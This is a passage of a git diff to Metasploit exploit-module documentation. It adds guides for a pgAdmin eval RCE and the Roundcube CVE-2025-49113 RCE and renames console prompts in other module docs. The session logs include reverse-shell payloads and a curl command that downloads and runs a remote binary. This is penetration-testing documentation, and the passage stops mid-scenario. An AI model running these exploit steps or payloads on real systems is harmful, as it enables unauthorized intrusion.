b/documentation/modules/exploit/multi/http/pgadmin_query_tool_authenticated.md new file mode 100644 index 0000000000000..3e6d27b45624e --- /dev/null +++ b/documentation/modules/exploit/multi/http/pgadmin_query_tool_authenticated.md @@ -0,0 +1,78 @@ +## Vulnerable Application + +### Description + +This module exploits a vulnerability in pgAdmin where an authenticated user can establish a connection to the query tool +and send a specific payload in the query_commited POST parameter. This payload is directly executed via a Python eval() +statement, resulting in remote code execution in versions prior to 9.2. + +To exploit this vulnerability, pgAdmin credentials are required. Additionally, in order to interact with the vulnerable +SQL editor component, valid database credentials are necessary to initialize a session and obtain a transaction ID, +which is required for the exploit. + + +### Setup + +A pgAdmin Docker instance can be started using the following command: +```bash +docker run -d -p 8484:80 -e PGADMIN_DEFAULT_EMAIL=admin@admin.com -e PGADMIN_DEFAULT_PASSWORD=adminpassword --name pgadmin dpage/pgadmin4:9.0 +``` +A PostgreSQL database needs to be connected to the pgAdmin instance in order to exploit. The version of postgresql doesn't matter: +```bash +docker run -d -p 5432:5432 --name postgres -e POSTGRES_PASSWORD=mysecretpassword -e POSTGRES_USER=pgadminuser -e POSTGRES_DB=pgadmin postgres:latest +``` + +## Verification Steps +1. Start msfconsole. +1. Do: use exploit/multi/http/pgadmin_query_tool_authenticated. +1. Set the RHOST, USERNAME, PASSWORD, DB_USER, DB_PASS AND DB_NAME options. +1. Run the module. +1. Receive a Meterpreter session as the pgAdmin user. + +## Options + +### USERNAME +The username for authentication (required). + +### PASSWORD +The password for authentication (required). + +### DB_USER +The database username to authenticate to the database with (required). + +### DB_PASS +The password to authenticate to the database with (required). + +### DB_NAME +The name of the database to target (required) + +### MAX_SERVER_ID +The maximum number of Server IDs to try and connect to. This is used to determine the correct server ID for the exploit. +A valid `sid` is required in order to connect to the query_tool in order to exploit. The default value is 10. + +## Scenarios +### pgAdmin 4 v9.0 +``` +msf exploit(multi/http/pgadmin_query_tool_authenticated) > run db_name=postgres db_user=pgadminuser db_pass=mysecretpassword rhost=127.0.0.1 rport=8484 username=admin@admin.com password=adminpassword lhost=172.16.199.1 MAX_SERVER_ID=10 verbose=true +[*] Started reverse TCP handler on 172.16.199.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. pgAdmin version 9.0.0 is affected +[+] Successfully authenticated to pgAdmin +[*] Trying server ID: 1 +[*] Trying server ID: 2 +[*] Trying server ID: 3 +[+] Successfully initialized sqleditor +[*] Exploiting the target... +[*] Sending stage (24772 bytes) to 172.16.199.1 +[+] Received a 500 response from the exploit attempt, this is expected +[*] Meterpreter session 3 opened (172.16.199.1:4444 -> 172.16.199.1:62455) at 2025-04-09 17:05:17 -0700 + +meterpreter > getuid +Server username: pgadmin +smeterpreter > sysinfo +Computer : e9b855f7cda2 +OS : Linux 6.10.14-linuxkit #1 SMP PREEMPT_DYNAMIC Thu Mar 20 16:36:58 UTC 2025 +Architecture : x64 +Meterpreter : python/linux +meterpreter > +``` diff --git a/documentation/modules/exploit/multi/http/php_fpm_rce.md b/documentation/modules/exploit/multi/http/php_fpm_rce.md index c6abe55070bd4..8337bb159bd79 100644 --- a/documentation/modules/exploit/multi/http/php_fpm_rce.md +++ b/documentation/modules/exploit/multi/http/php_fpm_rce.md @@ -128,18 +128,18 @@ configuration provided by the author ### Ubuntu 18.04 + nginx 1.14.0 + PHP 7.1.33dev (fpm-fcgi) (built: Feb 14 2020 16:48:15) ``` -msf5 > use exploit/multi/http/php_fpm_rce -msf5 exploit(multi/http/php_fpm_rce) > set RHOSTS 192.168.6.6 +msf > use exploit/multi/http/php_fpm_rce +msf exploit(multi/http/php_fpm_rce) > set RHOSTS 192.168.6.6 RHOSTS => 192.168.6.6 -msf5 exploit(multi/http/php_fpm_rce) > set RPORT 8080 +msf exploit(multi/http/php_fpm_rce) > set RPORT 8080 RPORT => 8080 -msf5 exploit(multi/http/php_fpm_rce) > set TARGETURI /script.php +msf exploit(multi/http/php_fpm_rce) > set TARGETURI /script.php TARGETURI => /script.php -msf5 exploit(multi/http/php_fpm_rce) > set PAYLOAD php/meterpreter/reverse_tcp +msf exploit(multi/http/php_fpm_rce) > set PAYLOAD php/meterpreter/reverse_tcp PAYLOAD => php/meterpreter/reverse_tcp -msf5 exploit(multi/http/php_fpm_rce) > set LHOST 192.168.6.6 +msf exploit(multi/http/php_fpm_rce) > set LHOST 192.168.6.6 LHOST => 192.168.6.6 -msf5 exploit(multi/http/php_fpm_rce) > run +msf exploit(multi/http/php_fpm_rce) > run [*] Started reverse TCP handler on 192.168.6.6:4444 [*] Sending baseline query... diff --git a/documentation/modules/exploit/multi/http/phpmyadmin_lfi_rce.md b/documentation/modules/exploit/multi/http/phpmyadmin_lfi_rce.md index 0ebc4d00833a6..09b7bfe1db914 100644 --- a/documentation/modules/exploit/multi/http/phpmyadmin_lfi_rce.md +++ b/documentation/modules/exploit/multi/http/phpmyadmin_lfi_rce.md @@ -18,10 +18,10 @@ phpMyAdmin v4.8.0 and v4.8.1 are vulnerable to local file inclusion, which can b ### Tested on Windows 7 x64 using PHP 7.2.4 and phpMyAdmin 4.8.1 ``` -msf5 > use exploit/multi/http/phpmyadmin_lfi_rce -msf5 exploit(multi/http/phpmyadmin_lfi_rce) > set rhosts 172.22.222.122 +msf > use exploit/multi/http/phpmyadmin_lfi_rce +msf exploit(multi/http/phpmyadmin_lfi_rce) > set rhosts 172.22.222.122 rhosts => 172.22.222.122 -msf5 exploit(multi/http/phpmyadmin_lfi_rce) > run +msf exploit(multi/http/phpmyadmin_lfi_rce) > run [*] Started reverse TCP handler on 172.22.222.190:4444 [*] Sending stage (37775 bytes) to 172.22.222.122 diff --git a/documentation/modules/exploit/multi/http/phpmyadmin_null_termination_exec.md b/documentation/modules/exploit/multi/http/phpmyadmin_null_termination_exec.md index e5a824af0357c..249bc9fcabaac 100644 --- a/documentation/modules/exploit/multi/http/phpmyadmin_null_termination_exec.md +++ b/documentation/modules/exploit/multi/http/phpmyadmin_null_termination_exec.md @@ -37,12 +37,12 @@ when creating a new table as part of the exploit. ### Tested on Windows 7 x64 running phpMyAdmin 4.3.0 on PHP 5.3.8 ``` -msf5 > use exploit/multi/http/phpmyadmin_null_termination_exec -msf5 exploit(multi/http/phpmyadmin_null_termination_exec) > set rhost 172.22.222.122 +msf > use exploit/multi/http/phpmyadmin_null_termination_exec +msf exploit(multi/http/phpmyadmin_null_termination_exec) > set rhost 172.22.222.122 rhost => 172.22.222.122 -msf5 exploit(multi/http/phpmyadmin_null_termination_exec) > set database +msf exploit(multi/http/phpmyadmin_null_termination_exec) > set database database => -msf5 exploit(multi/http/phpmyadmin_null_termination_exec) > run +msf exploit(multi/http/phpmyadmin_null_termination_exec) > run [*] Started reverse TCP handler on 172.22.222.177:4444 [*] Sending stage (37775 bytes) to 172.22.222.122 diff --git a/documentation/modules/exploit/multi/http/phpstudy_backdoor_rce.md b/documentation/modules/exploit/multi/http/phpstudy_backdoor_rce.md index fe5165b4151e8..3d32e41eccc46 100644 --- a/documentation/modules/exploit/multi/http/phpstudy_backdoor_rce.md +++ b/documentation/modules/exploit/multi/http/phpstudy_backdoor_rce.md @@ -17,9 +17,9 @@ If your target is vulnerable, you will get a shell. you should see an output similar to the following ``` -msf5 exploit(multi/http/phpstudy_backdoor_rce) > set rhosts 192.168.56.104 +msf exploit(multi/http/phpstudy_backdoor_rce) > set rhosts 192.168.56.104 rhosts => 192.168.56.104 -msf5 exploit(multi/http/phpstudy_backdoor_rce) > run +msf exploit(multi/http/phpstudy_backdoor_rce) > run [*] Started reverse TCP handler on 192.168.56.1:4444 [+] Sending shellcode diff --git a/documentation/modules/exploit/multi/http/pimcore_unserialize_rce.md b/documentation/modules/exploit/multi/http/pimcore_unserialize_rce.md index 2cc97ec881ba8..5952d28ab90d5 100644 --- a/documentation/modules/exploit/multi/http/pimcore_unserialize_rce.md +++ b/documentation/modules/exploit/multi/http/pimcore_unserialize_rce.md @@ -37,18 +37,18 @@ Set up a default installation of Pimcore 4.x or 5.x (e.g.: `composer create-proj ### Tested on Pimcore 5.6.6 ``` -msf5 > use exploit/multi/http/pimcore_unserialize_rce -msf5 exploit(multi/http/pimcore_unserialize_rce) > set rhost target.com +msf > use exploit/multi/http/pimcore_unserialize_rce +msf exploit(multi/http/pimcore_unserialize_rce) > set rhost target.com rhost => target.com -msf5 exploit(multi/http/pimcore_unserialize_rce) > set rport 8566 +msf exploit(multi/http/pimcore_unserialize_rce) > set rport 8566 rport => 8566 -msf5 exploit(multi/http/pimcore_unserialize_rce) > set username admin +msf exploit(multi/http/pimcore_unserialize_rce) > set username admin username => admin -msf5 exploit(multi/http/pimcore_unserialize_rce) > set password pimcore +msf exploit(multi/http/pimcore_unserialize_rce) > set password pimcore password => pimcore -msf5 exploit(multi/http/pimcore_unserialize_rce) > check +msf exploit(multi/http/pimcore_unserialize_rce) > check [*] 192.168.2.59:8566 - The target service is running, but could not be validated. -msf5 exploit(multi/http/pimcore_unserialize_rce) > exploit +msf exploit(multi/http/pimcore_unserialize_rce) > exploit [*] Started reverse TCP handler on 10.0.8.2:4444 [+] Authentication successful: admin:pimcore @@ -70,24 +70,24 @@ meterpreter > quit [*] Shutting down Meterpreter... [*] 192.168.2.59 - Meterpreter session 1 closed. Reason: User exit -msf5 exploit(multi/http/pimcore_unserialize_rce) > +msf exploit(multi/http/pimcore_unserialize_rce) > ``` ### Tested on Pimcore 4.6.5 ``` -msf5 > use exploit/multi/http/pimcore_unserialize_rce -msf5 exploit(multi/http/pimcore_unserialize_rce) > set rhost target.com +msf > use exploit/multi/http/pimcore_unserialize_rce +msf exploit(multi/http/pimcore_unserialize_rce) > set rhost target.com rhost => target.com -msf5 exploit(multi/http/pimcore_unserialize_rce) > set rport 8465 +msf exploit(multi/http/pimcore_unserialize_rce) > set rport 8465 rport => 8465 -msf5 exploit(multi/http/pimcore_unserialize_rce) > set username admin +msf exploit(multi/http/pimcore_unserialize_rce) > set username admin username => admin -msf5 exploit(multi/http/pimcore_unserialize_rce) > set password P1mc0r3_4dm1n +msf exploit(multi/http/pimcore_unserialize_rce) > set password P1mc0r3_4dm1n password => P1mc0r3_4dm1n -msf5 exploit(multi/http/pimcore_unserialize_rce) > check +msf exploit(multi/http/pimcore_unserialize_rce) > check [*] 192.168.2.59:8465 - The target service is running, but could not be validated. -msf5 exploit(multi/http/pimcore_unserialize_rce) > exploit +msf exploit(multi/http/pimcore_unserialize_rce) > exploit [*] Started reverse TCP handler on 10.0.8.2:4444 [+] Authentication successful: admin:P1mc0r3_4dm1n @@ -106,5 +106,5 @@ meterpreter > quit [*] Shutting down Meterpreter... [*] 192.168.2.59 - Meterpreter session 1 closed. Reason: User exit -msf5 exploit(multi/http/pimcore_unserialize_rce) > -``` \ No newline at end of file +msf exploit(multi/http/pimcore_unserialize_rce) > +``` diff --git a/documentation/modules/exploit/multi/http/playsms_template_injection.md b/documentation/modules/exploit/multi/http/playsms_template_injection.md index 4e205d5c2a84a..b512aa71cb813 100644 --- a/documentation/modules/exploit/multi/http/playsms_template_injection.md +++ b/documentation/modules/exploit/multi/http/playsms_template_injection.md @@ -42,7 +42,7 @@ Available at [Source Forge](https://sourceforge.net/projects/playsms/files/plays ### Playsms on Ubuntu Linux ``` -msf5 exploit(multi/http/playsms_template_injection) > options +msf exploit(multi/http/playsms_template_injection) > options Module options (exploit/multi/http/playsms_template_injection): @@ -71,11 +71,11 @@ Exploit target: 0 PlaySMS Before 1.4.3 -msf5 exploit(multi/http/playsms_template_injection) > set rhosts 127.0.0.1 +msf exploit(multi/http/playsms_template_injection) > set rhosts 127.0.0.1 rhosts => 127.0.0.1 -msf5 exploit(multi/http/playsms_template_injection) > set lhost 192.168.1.3 +msf exploit(multi/http/playsms_template_injection) > set lhost 192.168.1.3 lhost => 192.168.1.3 -msf5 exploit(multi/http/playsms_template_injection) > run +msf exploit(multi/http/playsms_template_injection) > run [*] Started reverse TCP handler on 192.168.1.3:4444 [+] X-CSRF-Token for login : c62b21bdb395dca92c18446217e31d7f diff --git a/documentation/modules/exploit/multi/http/primefaces_weak_encryption_rce.md b/documentation/modules/exploit/multi/http/primefaces_weak_encryption_rce.md index 39bb3299ddeb1..5bcb23df38bb0 100644 --- a/documentation/modules/exploit/multi/http/primefaces_weak_encryption_rce.md +++ b/documentation/modules/exploit/multi/http/primefaces_weak_encryption_rce.md @@ -42,17 +42,17 @@ The password to login. Defaults to `primefaces` CMD payload ``` -msf6 > use exploit/multi/http/primefaces_weak_encryption_rce +msf > use exploit/multi/http/primefaces_weak_encryption_rce [*] No payload configured, defaulting to cmd/unix/reverse_netcat -msf6 exploit(linux/http/primefaces_weak_encryption_rce) > set rhosts 127.0.0.1 +msf exploit(linux/http/primefaces_weak_encryption_rce) > set rhosts 127.0.0.1 rhosts => 127.0.0.1 -msf6 exploit(linux/http/primefaces_weak_encryption_rce) > set rport 8090 +msf exploit(linux/http/primefaces_weak_encryption_rce) > set rport 8090 rport => 8090 -msf6 exploit(linux/http/primefaces_weak_encryption_rce) > set verbose true +msf exploit(linux/http/primefaces_weak_encryption_rce) > set verbose true verbose => true -msf6 exploit(linux/http/primefaces_weak_encryption_rce) > set payload payload/cmd/unix/reverse_jjs +msf exploit(linux/http/primefaces_weak_encryption_rce) > set payload payload/cmd/unix/reverse_jjs payload => cmd/unix/reverse_jjs -msf6 exploit(linux/http/primefaces_weak_encryption_rce) > exploit +msf exploit(linux/http/primefaces_weak_encryption_rce) > exploit [*] Started reverse TCP handler on 1.1.1.1:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -67,17 +67,17 @@ root fetch payload ``` -msf6 > use exploit/multi/http/primefaces_weak_encryption_rce +msf > use exploit/multi/http/primefaces_weak_encryption_rce [*] No payload configured, defaulting to cmd/unix/reverse_netcat -msf6 exploit(linux/http/primefaces_weak_encryption_rce) > set rhosts 127.0.0.1 +msf exploit(linux/http/primefaces_weak_encryption_rce) > set rhosts 127.0.0.1 rhosts => 127.0.0.1 -msf6 exploit(linux/http/primefaces_weak_encryption_rce) > set rport 8090 +msf exploit(linux/http/primefaces_weak_encryption_rce) > set rport 8090 rport => 8090 -msf6 exploit(linux/http/primefaces_weak_encryption_rce) > set verbose true +msf exploit(linux/http/primefaces_weak_encryption_rce) > set verbose true verbose => true -msf6 exploit(linux/http/primefaces_weak_encryption_rce) > set payload cmd/linux/http/x64/meterpreter/reverse_tcp +msf exploit(linux/http/primefaces_weak_encryption_rce) > set payload cmd/linux/http/x64/meterpreter/reverse_tcp payload => cmd/linux/http/x64/meterpreter/reverse_tcp -msf6 exploit(linux/http/primefaces_weak_encryption_rce) > exploit +msf exploit(linux/http/primefaces_weak_encryption_rce) > exploit [*] Command to run on remote host: curl -so ./ihPBtpwPCD http://1.1.1.1:8080/aZRe4yWUN3U2-lDtdsaGlA; chmod +x ./ihPBtpwPCD; ./ihPBtpwPCD & [*] Fetch handler listening on 1.1.1.1:8080 @@ -101,4 +101,4 @@ BuildTuple : x86_64-linux-musl Meterpreter : x64/linux meterpreter > getuid Server username: root -``` \ No newline at end of file +``` diff --git a/documentation/modules/exploit/multi/http/rails_double_tap.md b/documentation/modules/exploit/multi/http/rails_double_tap.md index 4257fd3de19ba..0fa2869ebdfcd 100644 --- a/documentation/modules/exploit/multi/http/rails_double_tap.md +++ b/documentation/modules/exploit/multi/http/rails_double_tap.md @@ -80,9 +80,9 @@ Use Ctrl-C to stop ### Metasploit ``` -msf5 exploit(multi/http/rails_double_tap) > check +msf exploit(multi/http/rails_double_tap) > check [+] 172.16.249.141:3000 - The target is vulnerable. -msf5 exploit(multi/http/rails_double_tap) > exploit +msf exploit(multi/http/rails_double_tap) > exploit [*] Started reverse TCP handler on 172.16.249.1:4444 [*] Attempting to retrieve the application name... diff --git a/documentation/modules/exploit/multi/http/roundcube_auth_rce_cve_2025_49113.md b/documentation/modules/exploit/multi/http/roundcube_auth_rce_cve_2025_49113.md new file mode 100644 index 0000000000000..85d3d6be311eb --- /dev/null +++ b/documentation/modules/exploit/multi/http/roundcube_auth_rce_cve_2025_49113.md @@ -0,0 +1,147 @@ +## Vulnerable Application + This module exploits an authenticated remote code execution vulnerability via a file upload + endpoint. The vulnerability stems from improper validation of the uploaded filename, which is + deserialized on the server side without sufficient sanitization. By embedding a PHP serialization + gadget chain in the filename, an attacker can achieve remote code execution. + + This issue is tracked as CVE-2025-49113. Exploitation results in code execution as the web server + user. + +## Testing +To set up a test environment: +1. Set up an Roundcube. + +Create File +`docker-compose.xml` +``` +version: '3' + +services: + db: + image: mariadb:10.5 + restart: always + environment: + MYSQL_ROOT_PASSWORD: example_root_pass + MYSQL_DATABASE: roundcube + MYSQL_USER: roundcube_user + MYSQL_PASSWORD: roundcube_pass + volumes: + - db_data:/var/lib/mysql + + roundcube: + image: roundcube/roundcubemail:1.5.9-apache + depends_on: + - db + ports: + - "8080:80" + environment: + ROUNDCUBEMAIL_DEFAULT_HOST: + ROUNDCUBEMAIL_SMTP_SERVER: + ROUNDCUBEMAIL_SMTP_PORT: 587 + ROUNDCUBEMAIL_SMTP_USER: + ROUNDCUBEMAIL_SMTP_PASS: + ROUNDCUBEMAIL_DES_KEY: randomstring + ROUNDCUBEMAIL_DB_TYPE: mysql + ROUNDCUBEMAIL_DB_HOST: db + ROUNDCUBEMAIL_DB_USER: roundcube_user + ROUNDCUBEMAIL_DB_PASSWORD: roundcube_pass + ROUNDCUBEMAIL_DB_NAME: roundcube + +volumes: + db_data: +``` + +Execute + +`docker compose up` + +2. Configure basic networking and confirm that the web service on port 8080 is reachable. +3. Follow the verification steps below. + +## Options +No custom options exist for this module. + +## Verification Steps +1. Start msfconsole +2. `use exploit/multi/http/roundcube_unauth_rce_cve_2025_49113` +3. `set RHOSTS ` +4. `set RPORT ` +5. `set LHOST ` +6. `set LPORT ` +7. `set USERNAME ` +8. `set PASSWORD ` +9. `run` + +## Scenarios +### Roundcube Linux Target +``` +msf exploit(multi/http/roundcube_unauth_rce_cve_2025_49113) > show options + +Module options (exploit/multi/http/roundcube_unauth_rce_cve_2025_49113): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + HOST no The hostname of Roundcube server + PASSWORD yes Password to login with + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html + RPORT 9999 yes The target port (TCP) + SSL false no Negotiate SSL/TLS for outgoing connections + SSLCert no Path to a custom SSL certificate (default is randomly generated) + TARGETURI / yes The URI of the Roundcube Application + TIMEOUT 3 no Time to wait for session (in seconds) + URIPATH no The URI to use for this exploit (default is random) + USERNAME yes Email User to login with + VHOST no HTTP server virtual host + + + When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http: + + Name Current Setting Required Description + ---- --------------- -------- ----------- + SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses. + SRVPORT 8080 yes The local port to listen on. + + +Payload options (linux/x64/meterpreter/reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + LHOST yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 Linux + +msf exploit(multi/http/roundcube_unauth_rce_cve_2025_49113) > exploit + +[*] Started reverse TCP handler on 192.168.159.129:8082 +[*] Using URL: http://192.168.159.129:9696/ +[*] Fetching CSRF token... +[*] Attempting login... +[+] Login successful. +[*] Preparing payload... +[+] Payload successfully generated and serialized. +[*] Uploading malicious payload... +[*] Client 192.168.181.148 (curl/7.74.0) requested / +[*] Sending payload to 192.168.181.148 (curl/7.74.0) +[*] Sending stage (3045380 bytes) to 192.168.181.148 +[*] Meterpreter session 1 opened (192.168.159.129:8082 -> 192.168.181.148:56528) at 2025-06-06 21:05:59 -0400 +[+] Exploit attempt complete. Check for session. +[*] Server stopped. + +meterpreter > getuid +Server username: www-data + +meterpreter > sysinfo +Computer : dante.local +OS : Debian 11.5 (Linux 6.11.2-amd64) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux + +``` diff --git a/documentation/modules/exploit/multi/http/rudder_server_sqli_rce.md b/documentation/modules/exploit/multi/http/rudder_server_sqli_rce.md index 0464e511f16c5..a56eaf60d280d 100644 --- a/documentation/modules/exploit/multi/http/rudder_server_sqli_rce.md +++ b/documentation/modules/exploit/multi/http/rudder_server_sqli_rce.md @@ -42,15 +42,15 @@ After these steps the rudder-server API will be exposed on the `http://localhost ## Scenarios ``` -msf6 > use exploit/multi/http/rudder_server_sqli_rce +msf > use exploit/multi/http/rudder_server_sqli_rce [*] Using configured payload cmd/unix/reverse_netcat -msf6 exploit(multi/http/rudder_server_sqli_rce) > set rhosts 192.168.1.20 +msf exploit(multi/http/rudder_server_sqli_rce) > set rhosts 192.168.1.20 rhosts => 192.168.1.20 -msf6 exploit(multi/http/rudder_server_sqli_rce) > set lhost 192.168.1.10 +msf exploit(multi/http/rudder_server_sqli_rce) > set lhost 192.168.1.10 lhost => 192.168.1.10 -msf6 exploit(multi/http/rudder_server_sqli_rce) > set lport 4444 +msf exploit(multi/http/rudder_server_sqli_rce) > set lport 4444 lport => 4444 -msf6 exploit(multi/http/rudder_server_sqli_rce) > run +msf exploit(multi/http/rudder_server_sqli_rce) > run [*] Started reverse TCP handler on 192.168.1.10:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/multi/http/shiro_rememberme_v124_deserialize.md b/documentation/modules/exploit/multi/http/shiro_rememberme_v124_deserialize.md index 4f88326df1995..a78873f21415c 100644 --- a/documentation/modules/exploit/multi/http/shiro_rememberme_v124_deserialize.md +++ b/documentation/modules/exploit/multi/http/shiro_rememberme_v124_deserialize.md @@ -37,9 +37,9 @@ The encryption key the target Apache Shiro server is using to encrypt its `remem ### Tested on GNU/Linux x86_64 using Shiro-1.2.4 ``` -msf6 > use exploit/multi/http/shiro_rememberme_v124_deserialize +msf > use exploit/multi/http/shiro_rememberme_v124_deserialize [*] Using configured payload cmd/unix/reverse_bash -msf6 exploit(multi/http/shiro_rememberme_v124_deserialize) > show options +msf exploit(multi/http/shiro_rememberme_v124_deserialize) > show options Module options (exploit/multi/http/shiro_rememberme_v124_deserialize): @@ -69,11 +69,11 @@ Exploit target: 0 Unix Command payload -msf6 exploit(multi/http/shiro_rememberme_v124_deserialize) > set RHOSTS 172.18.0.2 +msf exploit(multi/http/shiro_rememberme_v124_deserialize) > set RHOSTS 172.18.0.2 RHOSTS => 172.18.0.2 -msf6 exploit(multi/http/shiro_rememberme_v124_deserialize) > set LHOST 172.18.0.1 +msf exploit(multi/http/shiro_rememberme_v124_deserialize) > set LHOST 172.18.0.1 LHOST => 172.18.0.1 -msf6 exploit(multi/http/shiro_rememberme_v124_deserialize) > run +msf exploit(multi/http/shiro_rememberme_v124_deserialize) > run [*] Started reverse TCP handler on 172.18.0.1:4444 [*] Command shell session 1 opened (172.18.0.1:4444 -> 172.18.0.2:60632) at 2020-12-21 17:09:27 -0600 diff --git a/documentation/modules/exploit/multi/http/solr_velocity_rce.md b/documentation/modules/exploit/multi/http/solr_velocity_rce.md index 8b064ca462267..1aa215f47eb98 100644 --- a/documentation/modules/exploit/multi/http/solr_velocity_rce.md +++ b/documentation/modules/exploit/multi/http/solr_velocity_rce.md @@ -57,16 +57,16 @@ Windows systems have 3 targets: ### Windows Server 2019 Datacenter, fully patched, Solr 8.3.0, no authentication, using PowerShell ``` -msf5 > use exploit/multi/http/solr_velocity_rce -msf5 exploit(multi/http/solr_velocity_rce) > set RHOSTS 192.168.137.155 +msf > use exploit/multi/http/solr_velocity_rce +msf exploit(multi/http/solr_velocity_rce) > set RHOSTS 192.168.137.155 RHOSTS => 192.168.137.132 -msf5 exploit(multi/http/solr_velocity_rce) > set LHOST 192.168.137.128 +msf exploit(multi/http/solr_velocity_rce) > set LHOST 192.168.137.128 LHOST => 192.168.137.128 -msf5 exploit(multi/http/solr_velocity_rce) > set LPORT 4444 +msf exploit(multi/http/solr_velocity_rce) > set LPORT 4444 LPORT => 4444 -msf5 exploit(multi/http/solr_velocity_rce) > set TARGET 2 +msf exploit(multi/http/solr_velocity_rce) > set TARGET 2 TARGET => 2 -msf5 exploit(multi/http/solr_velocity_rce) > exploit +msf exploit(multi/http/solr_velocity_rce) > exploit [*] Started reverse TCP handler on 192.168.137.128:4444 [*] Found Apache Solr 8.3.0 @@ -90,16 +90,16 @@ meterpreter > ### Windows Server 2019 Datacenter, fully patched, Solr 8.3.0, no authentication, using CmdStager ``` -msf5 > use exploit/multi/http/solr_velocity_rce -msf5 exploit(multi/http/solr_velocity_rce) > set RHOSTS 192.168.137.155 +msf > use exploit/multi/http/solr_velocity_rce +msf exploit(multi/http/solr_velocity_rce) > set RHOSTS 192.168.137.155 RHOSTS => 192.168.137.132 -msf5 exploit(multi/http/solr_velocity_rce) > set LHOST 192.168.137.128 +msf exploit(multi/http/solr_velocity_rce) > set LHOST 192.168.137.128 LHOST => 192.168.137.128 -msf5 exploit(multi/http/solr_velocity_rce) > set LPORT 4444 +msf exploit(multi/http/solr_velocity_rce) > set LPORT 4444 LPORT => 4444 -msf5 exploit(multi/http/solr_velocity_rce) > set TARGET 3 +msf exploit(multi/http/solr_velocity_rce) > set TARGET 3 TARGET => 3 -msf5 exploit(multi/http/solr_velocity_rce) > exploit +msf exploit(multi/http/solr_velocity_rce) > exploit [*] Started reverse TCP handler on 192.168.137.128:4444 [*] Found Apache Solr 8.3.0 @@ -138,18 +138,18 @@ meterpreter > ### Windows Server 2019 Datacenter, fully patched, Solr 8.3.0, no authentication, with payload `cmd/windows/generic` ``` -msf5 > use exploit/multi/http/solr_velocity_rce -msf5 exploit(multi/http/solr_velocity_rce) > set RHOSTS 192.168.137.155 +msf > use exploit/multi/http/solr_velocity_rce +msf exploit(multi/http/solr_velocity_rce) > set RHOSTS 192.168.137.155 RHOSTS => 192.168.137.132 -msf5 exploit(multi/http/solr_velocity_rce) > set LHOST 192.168.137.128 +msf exploit(multi/http/solr_velocity_rce) > set LHOST 192.168.137.128 LHOST => 192.168.137.128 -msf5 exploit(multi/http/solr_velocity_rce) > set LPORT 4444 +msf exploit(multi/http/solr_velocity_rce) > set LPORT 4444 LPORT => 4444 -msf5 exploit(multi/http/solr_velocity_rce) > set TARGET 4 +msf exploit(multi/http/solr_velocity_rce) > set TARGET 4 TARGET => 4 -msf5 exploit(multi/http/solr_velocity_rce) > set CMD whoami +msf exploit(multi/http/solr_velocity_rce) > set CMD whoami CMD => whoami -msf5 exploit(multi/http/solr_velocity_rce) > exploit +msf exploit(multi/http/solr_velocity_rce) > exploit [*] Found Apache Solr 8.3.0 [*] OS version is Windows Server 2019 amd64 10.0 @@ -157,27 +157,27 @@ msf5 exploit(multi/http/solr_velocity_rce) > exploit [*] Targeting core 'techproducts' [+] 2k19dtctr\administrator [*] Exploit completed, but no session was created. -msf5 exploit(multi/http/solr_velocity_rce) > +msf exploit(multi/http/solr_velocity_rce) > ``` ### Bitnami Solr VM 8.3.0, requiring basic authentication, command execution in-memory, with payload `cmd/unix/reverse_bash` ``` -msf5 > use exploit/multi/http/solr_velocity_rce -msf5 exploit(multi/http/solr_velocity_rce) > set RHOSTS 192.168.137.129 +msf > use exploit/multi/http/solr_velocity_rce +msf exploit(multi/http/solr_velocity_rce) > set RHOSTS 192.168.137.129 RHOSTS => 192.168.137.129 -msf5 exploit(multi/http/solr_velocity_rce) > set RPORT 80 +msf exploit(multi/http/solr_velocity_rce) > set RPORT 80 RPORT => 80 -msf5 exploit(multi/http/solr_velocity_rce) > set TARGET 0 +msf exploit(multi/http/solr_velocity_rce) > set TARGET 0 TARGET => 0 -msf5 exploit(multi/http/solr_velocity_rce) > set USERNAME user +msf exploit(multi/http/solr_velocity_rce) > set USERNAME user USERNAME => user -msf5 exploit(multi/http/solr_velocity_rce) > set PASSWORD j6lzH82e6Jc5 +msf exploit(multi/http/solr_velocity_rce) > set PASSWORD j6lzH82e6Jc5 PASSWORD => j6lzH82e6Jc5 -msf5 exploit(multi/http/solr_velocity_rce) > set LHOST 192.168.137.128 +msf exploit(multi/http/solr_velocity_rce) > set LHOST 192.168.137.128 LHOST => 192.168.137.128 -msf5 exploit(multi/http/solr_velocity_rce) > set LPORT 4444 +msf exploit(multi/http/solr_velocity_rce) > set LPORT 4444 LPORT => 4444 -msf5 exploit(multi/http/solr_velocity_rce) > exploit +msf exploit(multi/http/solr_velocity_rce) > exploit [*] Started reverse TCP handler on 192.168.137.128:4444 [*] Found Apache Solr 8.3.0 @@ -192,24 +192,24 @@ uid=999(solr) gid=1002(solr) groups=1002(solr) ### Bitnami Solr VM 8.3.0, requiring basic authentication, command execution in-memory, with payload `cmd/unix/generic` ``` -msf5 > use exploit/multi/http/solr_velocity_rce -msf5 exploit(multi/http/solr_velocity_rce) > set RHOSTS 192.168.137.129 +msf > use exploit/multi/http/solr_velocity_rce +msf exploit(multi/http/solr_velocity_rce) > set RHOSTS 192.168.137.129 RHOSTS => 192.168.137.129 -msf5 exploit(multi/http/solr_velocity_rce) > set RPORT 80 +msf exploit(multi/http/solr_velocity_rce) > set RPORT 80 RPORT => 80 -msf5 exploit(multi/http/solr_velocity_rce) > set TARGET 0 +msf exploit(multi/http/solr_velocity_rce) > set TARGET 0 TARGET => 0 -msf5 exploit(multi/http/solr_velocity_rce) > set USERNAME user +msf exploit(multi/http/solr_velocity_rce) > set USERNAME user USERNAME => user -msf5 exploit(multi/http/solr_velocity_rce) > set PASSWORD j6lzH82e6Jc5 +msf exploit(multi/http/solr_velocity_rce) > set PASSWORD j6lzH82e6Jc5 PASSWORD => j6lzH82e6Jc5 -msf5 